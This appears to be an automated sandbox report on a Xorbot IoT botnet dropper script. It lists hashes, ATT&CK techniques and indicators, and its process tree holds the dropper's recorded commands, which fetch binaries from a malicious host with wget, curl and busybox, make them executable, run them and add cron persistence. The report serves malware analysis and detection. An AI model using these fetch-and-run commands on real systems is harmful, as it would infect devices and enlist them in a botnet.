xorbot | ffb51619f1efb0f87e5e75e7cd498cd8d80c049d07b821f83b3385cad45acb84

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/02/2025, 08:57

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General

Target

bins.sh
Size

10KB
MD5

6fabcc812d0922db6c4f85ee41554bb8
SHA1

6990196753003a0019eb7fd54ce7669dc28e1ce2
SHA256

ffb51619f1efb0f87e5e75e7cd498cd8d80c049d07b821f83b3385cad45acb84
SHA512

c73c9f0896fd6274600bda9d0f047435578793c2ad71e2be682c615afff82b0dc09bfe59fbfe4904b9d15ab1247a6310ebd1f324f15479aac96fef76af9953d3
SSDEEP

192:CFj0rsk8cNUkQceCrt5H1l8dJ7t5lAk8IUkQceCzS:CB05NUkQceCj1edPUkQceC2

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-8.dat	family_xorbot
behavioral2/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1386) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
798	chmod
705	chmod
740	chmod
776	chmod
786	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn	706	bins.sh
/tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf	741	bins.sh
/tmp/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo	788	bins.sh
/tmp/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm	800	bins.sh

Renames itself 1 IoCs

pid	Process
742	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.E8Mqu7	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/8/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/265/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/290/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/840/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/902/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/944/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/962/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/970/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/835/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/969/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1025/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1034/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/21/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/25/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/893/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/761/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/861/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/95/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/794/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/817/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/857/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/910/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/924/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/955/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1042/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/808/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/19/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/147/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/167/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/753/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/975/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/771/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/807/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/15/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/928/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/963/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1044/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/141/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/764/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/827/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/839/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/883/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/995/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1028/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/13/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/708/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/769/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/818/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/830/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/867/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/882/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/914/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/107/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/651/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/780/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/825/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/886/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/936/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/948/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/952/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/18/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/751/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/838/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf

System Network Configuration Discovery 1 TTPs 16 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
686	busybox
753	wget
755	busybox
793	curl
721	busybox
782	curl
783	busybox
792	wget
659	wget
754	curl
795	busybox
803	wget
682	curl
711	wget
715	curl
781	wget

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn	wget
File opened for modification	/tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn	curl
File opened for modification	/tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf	wget
File opened for modification	/tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf	curl
File opened for modification	/tmp/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo	busybox
File opened for modification	/tmp/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:651
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:657
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:659
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:682
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  - System Network Configuration Discovery
  PID:686
- /bin/chmod
  chmod 777 6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  - File and Directory Permissions Modification
  PID:705
- /tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  ./6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  PID:706
- /bin/rm
  rm 6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  PID:710
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:715
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - System Network Configuration Discovery
  PID:721
- /bin/chmod
  chmod 777 HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  ./HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:741
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:743
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:744
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:745
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:746
- /bin/rm
  rm HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  PID:752
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
  2⤵
  - System Network Configuration Discovery
  PID:753
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
  2⤵
  - System Network Configuration Discovery
  PID:754
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
  2⤵
  - System Network Configuration Discovery
  PID:755
- /bin/chmod
  chmod 777 hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
  ./hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
  2⤵
  PID:778
- /bin/rm
  rm hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
  2⤵
  PID:779
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
  2⤵
  - System Network Configuration Discovery
  PID:781
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
  2⤵
  - System Network Configuration Discovery
  PID:782
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:783
- /bin/chmod
  chmod 777 fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
  ./fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
  2⤵
  PID:788
- /bin/rm
  rm fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
  2⤵
  PID:790
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
  2⤵
  - System Network Configuration Discovery
  PID:792
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
  2⤵
  - System Network Configuration Discovery
  PID:793
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod 777 lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
  ./lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
  2⤵
  PID:800
- /bin/rm
  rm lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
  2⤵
  PID:802
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
  2⤵
  - System Network Configuration Discovery
  PID:803

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.E8Mqu7

Filesize
210B

MD5
2bc2d5b22262f8cb139ca33b2e8d6fbd

SHA1
730f7399933792bfd87f2c3dc89e295d67b93818

SHA256
2669d7865da420cac28e2af18d3305731b54c8f0f2175fd9b1333824dd2aba9f

SHA512
7b418ab1b232f7ad2e567fe3e8693c853b72c94b894e9032ad2887b73666ceaa8b29cfb7461cab036ed86d41188154371866f74f28e812d37c28d1568baef886

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads